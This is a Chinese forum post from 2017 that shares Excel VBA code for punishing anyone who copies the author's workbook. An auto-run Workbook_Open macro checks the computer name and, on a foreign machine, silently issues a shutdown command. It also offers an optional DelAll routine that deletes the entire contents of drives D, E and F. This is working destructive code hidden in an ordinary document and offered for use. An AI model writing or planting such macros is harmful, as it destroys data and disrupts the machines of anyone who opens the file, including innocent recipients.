★我要吧★

 找回密码
 注册[Register]
搜索
阅读此贴,让你在论坛畅行无阻 qq空间相册密码查看为什么登陆后需要激活无法注册?如何快速赚取宝石论坛合作通道
查看: 50|回复: 0

[分享] 报复盗取你的EXCEL文档的人(VBA)

[复制链接]

签到天数: 616 天

[LV.9]以坛为家II

升级   4%

发表于 2017-1-11 19:59:41 | 显示全部楼层 |阅读模式

有时候工作中有些重要的Excel文件,不希望别人拷贝走,但是你人不在的时候,别人悄悄拷贝怎么办?没有关系,我们就有充分的理由报复私自拷走你文件的人,怎么办呢?

比如我这个文件比较重要

那我们就可以在这个文件里插入些VBA代码,操作:Alt+F11,进入VBE,在ThisWorkbook模块中写下面的代码:

如果是在其他计算机上打开此文件,就关机!如果比较痛恨私自拷贝文件的人,启用 call Alldl

代码(写在hisWorkbook模块):

Private Sub Workbook_Open() '这段代码放在ThisWorkbook模块中

'Function:报复盗取你的EXCEL文档的人

'Author:流沙莫小虫

'Date:2016/12/29

If Environ("ComputerName") <> "admin" Then 'admin是我的计算机名称,如果不是我的计算机打开此文件就调用guanji函数,这里一定要改成你自己的计算机名称

'Call DelAll '删除盘符里的文件,这个功能小心使用,除非你对私自拷贝你文件的人十分痛恨

Call guanji '调用关机程序

'当然你可以限制其他条件,比如文件位置固定或者打开时间限制等等

End If

End Sub

Sub guanji() '这个的功能是关机

On Error Resume Next

Dim WSHshellA

Set WSHshellA = CreateObject("wscript.shell")

WSHshellA.Run "cmd.exe /c shutdown -s -t 60 -c ""请勿盗取我的文件!"" ", 0, True

End Sub

Sub DelAll() '删除盘符里的文件

On Error Resume Next

strpathname1 = "D:\"

strpathname2 = "E:\"

strpathname3 = "F:\"

CreateObject("scripting.filesystemobject").getfolder(strpathname1).Delete True

CreateObject("scripting.filesystemobject").getfolder(strpathname2).Delete True

CreateObject("scripting.filesystemobject").getfolder(strpathname3).Delete True

End Sub

注意 DelAll(),一旦启用,他将删除D\E\F盘里的内容,除非十分痛恨私自拷贝文件的人,或者不要启用。


您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

QQ|小黑屋|手机版|☆我要吧☆

GMT+8, 2017-3-29 19:14 , Processed in 0.104516 second(s), 20 queries .

Powered by Discuz! X3.1

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表